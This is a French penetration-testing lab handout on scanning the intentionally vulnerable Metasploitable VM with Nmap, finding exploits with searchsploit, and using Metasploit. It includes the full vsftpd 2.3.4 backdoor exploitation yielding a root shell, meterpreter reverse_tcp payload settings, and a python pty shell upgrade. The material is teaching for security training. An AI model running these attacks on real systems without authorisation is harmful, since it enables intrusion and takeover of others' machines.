TP test d'intrusion

Reconnaissance avec Nmap et utilisation de Metasploit

Olivier LASNE - olivier@lasne.pro

Introduction

Dans ce TP, nous allons voir comment utiliser Nmap pour découvrir services présents sur une machine, et récupérer leur version.

Nous verrons aussi comment vérifier si il existe un exploit pour la version utilisée, et comment exploiter une vulnérabilité avec le framework Metasploit.

Nmap

Nmap est un scanner réseau, il peut être utiliser à la fois pour découvrir les machines présentes sur un réseau, et pour lister les services (et leur version) d'une machine.

Nmap a de nombreuses options, nous ne les détaillerons pas toutes ici.

Scan basique

Si on lui donne une IP en paramètre, nmap va simplement effectuer un scan de port TCP, et lister les ports ouverts.

Exemple avec Metasploitable:

```
1 $ nmap 192.168.56.101
3 Starting Nmap 7.60 ( https://nmap.org ) at 2020-11-29 15:06 CET
4 Nmap scan report for 192.168.56.101
5 Host is up (0.00018s latency).
6 Not shown: 977 closed ports
7 PORT STATE SERVICE
8 21/tcp open ftp
9 22/tcp open ssh
10 23/tcp open telnet
11 25/tcp open smtp
12 53/tcp open domain
13 80/tcp open http
14 111/tcp open rpcbind
15 139/tcp open netbios-ssn
16 445/tcp open microsoft-ds
17 512/tcp open exec
18 513/tcp open login
19 514/tcp open shell
20 1099/tcp open rmiregistry
21 1524/tcp open ingreslock
22 2049/tcp open nfs
23 2121/tcp open ccproxy-ftp
```

```
24 3306/tcp open mysql
25 5432/tcp open postgresql
26 5900/tcp open vnc
27 6000/tcp open X11
28 6667/tcp open irc
29 8009/tcp open ajp13
30 8180/tcp open unknown
31
32 Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
```

Découvrir les machines présentes sur un réseau

Ping scan

Pour découvrir rapidement les machines présentes sur le réseau, on peut faire simplement un ping scan :

```
1 nmap -sn 10.11.1.1-254
```

Top ports

Néanmoins, un certain nombre de machines sont configurés pour ne pas répondre aux ping. On peut choisir de scanner uniquement les ports les plus communs

```
1 nmap 10.11.1.1/24 -Pn --top-ports 10 --open -sS
```

- -Pn: scan les ports même si la machine ne réponds pas aux pings.
- --top-ports xx: scan uniquement les xx ports les plus communs.
- **--open**: dans la sortie indique uniquement les ports ouverts.
- -sS: syn scan, effectue seulement la 1ère partie du handshake TCP et est donc plus rapide. Peut-être également plus discret, mais est généralement détecté aujourd'hui.

Enregister les résultats

Nmap support 3 formats d'enregistrement

- -oN: format texte classique. Identique à la sortie de la console.
- -oG: grepable nmap, optimisé pour une recherche dans les résultats avec grep
- -oX : format xml. Peut permettre de **reprendre un scan interrompu**, et l'importation des résultats dans certains outils comme **Metasploit**.

Scanner une machine

Une fois notre cible définie, on va chercher à avoir un maximum d'information.

Options communes

Avant d'attaquer une machine, on va généralement effectuer un **scan TCP complet** avec les options suivantes :

```
1 nmap -sV -sC -0 -p- 192.168.56.102 -oN full.nmap
```

- -p- va indiquer que l'on liste absolument tous les ports
- -sV indique que l'on veut récupérer les informations de version
- -sC indique que l'on lance les scripts nmap de récupération d'information qui n'ont pas d'effet de bord
- -0 signifie que nmap va essayer de détecter la version du système d'exploitation présent en face.
- -oN écrit les résultats dans le fichier full.nmap

On réalise généralement un **1er scan de port** sans l'option –p– de façon à avoir uniquement les 1000 ports les plus fréquents. Et dans un second temps un scan avec tous les ports.

Scan UDP

Un scan UDP peut être (très) long. Néanmoins, il est généralement intéressant d'effectuer un scan au moins des ports les plus fréquents.

```
1 nmap -sU 192.168.56.102 -oN udp.nmap
```

Scripts Nmap

Nmap a la possibilité d'exécuter des scripts. Les scripts sont stockés dans le dossier /usr/share/nmap/scripts

Lister les scripts en lien avec SMB:

```
1 ls /usr/share/nmap/scripts | grep smb
```

On peut obtenir de l'aide sur un script de la façon suivante :

```
1 $ nmap --script-help=smb-os-discovery.nse
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:21 EST
3
4 smb-os-discovery
```

```
5 Categories: default discovery safe
6 https://nmap.org/nsedoc/scripts/smb-os-discovery.html
     Attempts to determine the operating system, computer name, domain,
         workgroup, and current
     time over the SMB protocol (ports 445 or 139).
8
9
     This is done by starting a session with the anonymous
     account (or with a proper user account, if one is given; it likely
        doesn't make
     a difference); in response to a session starting, the server will
        send back all this
12
     information.
13
14
     The following fields may be included in the output, depending on the
     circumstances (e.g. the workgroup name is mutually exclusive with
        domain and forest
    names) and the information available:
16
17
     * OS
     * Computer name
18
19 [...]
```

Un script nmap est exécuté de la façon suivante :

```
1 $ nmap --script=smb-os-discovery.nse 172.16.237.130 -p139,445
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:25 EST
3 Nmap scan report for 172.16.237.130
4 Host is up (0.00039s latency).
5
6 PORT
         STATE SERVICE
7 139/tcp open netbios-ssn
8 445/tcp open microsoft-ds
9
10 Host script results:
  smb-os-discovery:
11
       OS: Unix (Samba 3.0.20-Debian)
12
13
       Computer name: metasploitable
14
       NetBIOS computer name:
       Domain name: localdomain
       FQDN: metasploitable.localdomain
16
      System time: 2020-11-29T06:15:53-05:00
18
19 Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
```

Utilisation d'exploit

Dans le cadre d'un test d'intrusion, on va chercher à savoir s'il existe une vulnérabilité pour une des versions utilisées. À la fois sur des sites comme cvedetails.com, et directement sur des moteurs de recherche.

Dans notre cas, on va chercher directement à voir s'il existe **un exploit**. C'est à dire un script exploitant la vulnérabilité.

Exploit-DB

Le site de référence pour les exploits publiques est **exploit-db.com**.

On peut effecter des recherches directement sur l'interface web, mais il existe sous kali directement un outil en ligne de commande : searchsploit.

On peut utiliser l'option -u pour mettre à jour la base de données. searchsploit -u

L'option -x pour voir le détail d'un exploit. searchsploit -x unix/remote/17491.rb.

Et l'option -m pour en faire une copie dans le dossier courant. searchsploit -m unix/remote /17491.rb

Il n'y a pas d'unité sur la façon dont ces scripts sont écrits, et il est souvent nécessaire de les adapter.

Convertir un fichier au format CRLF

Il est parfois nécessaire de convertir les fichiers écrit sous Windows (convention CRLF). Pour cela on peut simplement utiliser l'outil dos 2 unix.

```
1 $ file 31819.pl
2 31819.pl: ASCII text, with CRLF line terminators
3
4 $ dos2unix 31819.pl
```

```
5 dos2unix: converting file 31819.pl to Unix format...
6
7 $ file 31819.pl
8 31819.pl: ASCII text
```

Metasploit

Metasploit est un **framework d'attaque**. Il intègre un nombre important d'**exploits** et de **payloads** et permet de les utiliser de façon unifiée.

Il intègre notamment des exploits très complexes comme ceux pour la vulnérabilité MS17-010.

Son intérêt réside aussi dans le shell **meterpreter** et les nombreux modules de **post-exploitation** qu'il intègre.

Démarrer la base de données

Metasploit utilise une base de données postgresql. Avant d'utiliser le framework il est nécessaire de démarrer la base de données avec la commande msfdb run.

L'état de la base de données peut être vérifiée avec msfdb status.

Msfconsole

On lance le framework avec la commande msfconsole.

```
1 $ msfconsole
2 IIIIII dTb.dTb
  II
           4' v 'B
                       .'"".'/
          6. .P
    II
4
5 II 'T;..;P'
6 II 'T;;P'
           'T; ;P'
7 IIIIII
            'YvP'
8
9 I love shells --egypt
10
11
12
         =[ metasploit v6.0.17-dev
13 + -- --=[ 2076 exploits - 1124 auxiliary - 352 post
                                                           ]
14 + -- --=[ 592 payloads - 45 encoders - 10 nops
                                                           ]
15 + -- --= [ 7 evasion ]
16
17 Metasploit tip: You can use help to view all available commands
18
19 msf6 >
```

Pour obtenir de l'aide, il existe la commande help, ainsi que l'option –h les différentes commandes.

À noter que metasploit supporte aussi l'autocomplétion avec **Tab**.

Metasploit a 4 catégories de modules principaux :

- auxiliary
- exploits
- payloads
- post

Exploit : La collection d'exploit de Metasploit. Ils sont classés par architecture de la cible, et protocole.

Auxilary: Va contenir les scanners, fuzzeurs, sniffer, etc.

Payload, Encoders, Nops: Ensemble de charges malveillantes, et les encodeurs nécessaires pour qu'il atteignent leur destination intacts.

Post : Ensemble de modules qui aident à la phase de post-exploitation.

Rechercher un exploit / module

On peut utiliser la commande search pour chercher un module.

Utiliser un module

Pour utiliser un module on utilise la commande use.

```
1 msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2 [*] No payload configured, defaulting to cmd/unix/interact
3
4 msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Obtenir des infos

On utilise la commande show info pour obtenir des informations sur un module.

Pour lister les options d'un module, on utilise show options.

```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
3 Module options (exploit/unix/ftp/vsftpd_234_backdoor):
   Name Current Setting Required Description
5
6
            -----
                          yes The target host(s), range CIDR
7
   RHOSTS
      identifier, or hosts file with syntax 'file:<path>'
8
   RPORT 21
                          yes The target port (TCP)
9
10
11 Payload options (cmd/unix/interact):
13
    Name Current Setting Required Description
14
16
17 Exploit target:
18
19
    Id Name
20
21
     0 Automatic
```

Les principales options sont **RHOSTS** qui contient l'IP de la machine cible, et **RPORT** qui indique le port où tourne le service cible.

Les options se configurent avec la commande set :

```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.16.237.130
2 RHOSTS => 172.16.237.130
```

Choix du payloads

Les **payloads compatibles** peuvent être listés avec la commande show payloads. Si compatible, on choisira généralement windows/meterpreter/reverse_tcp, linux/x86/meterpreter/reverse_tcp ou linux/x64/meterpreter/reverse_tcp.

Pour selectionner un payload, on utilisera de la même façon la commande set.

Une fois le **payload** définit. Il est souvent nécessaire de le configurer en définissant **LHOST** (adresse à laquel le payload vient se connecter).

On le configure de la même manière que RHOSTS avec la commande set.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.56.101
2 LHOST => 192.168.56.101
```

Une fois qu'un payload a été définit. Ses **options** appraissent également dans la sortie de la commande **options**.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > options
2 [...]
4 Payload options (windows/meterpreter/reverse_tcp):
5
6
    Name
             Current Setting Required Description
7
     EXITFUNC thread
                                        Exit technique (Accepted: '',
                              yes
       seh, thread, process, none)
     LHOST 192.168.56.101 yes
                                        The listen address (an
        interface may be specified)
     LPORT
              4444
                                        The listen port
                              yes
```

Executer un exploit

Sur les exploits qui le supportent, on peut utiliser la commande check pour vérifier si la cible est vulnérable.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > check
2
3 [*] 172.16.237.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
4 [-] 172.16.237.130:445 - Host does NOT appear vulnerable.
5 [*] 172.16.237.130:445 - Scanned 1 of 1 hosts (100% complete)
```

```
6 [*] 172.16.237.130:445 - Cannot reliably check exploitability.
```

Finalement, on utilise la commande exploit pour exécuter l'exploit.

```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
2
3 [*] 172.16.237.130:21 - Banner: 220 (vsFTPd 2.3.4)
4 [*] 172.16.237.130:21 - USER: 331 Please specify the password.
5 [+] 172.16.237.130:21 - Backdoor service has been spawned, handling...
6 [+] 172.16.237.130:21 - UID: uid=0(root) gid=0(root)
7 [*] Found shell.
8 [*] Command shell session 1 opened (0.0.0.0:0 -> 172.16.237.130:6200)
at 2020-11-29 17:15:39 -0500
10 whoami
11 root
```

Améliorer son Shell

Lorsque l'on obtient un shell un peu minimaliste à travers un exploit. On peut utiliser la commande suivante pour avoir un shell un peu plus classe.

```
1 python -c "import pty;pty.spawn('/bin/bash')"
```

(Il est parfois nécessaire de préciser la version de python: python2 ou python3).

Les sessions

Un shell ou **session** peuvt être mis en arrière plan avec la commande background ou le raccourci *Ctrl* + *Z*.

On peut lister les sessions avec la commande sessions.

On peut récupérer une session interactive avec la commande session -i.

```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
```

```
2 [*] Starting interaction with 1...
3
4 whoami
5 root
```

Exercice:

- 1. Utiliser l'exploit **vsftpd** pour obtenir un shell sur Metasploitable
- 2. Utiliser un autre exploit pour obtenir un shell.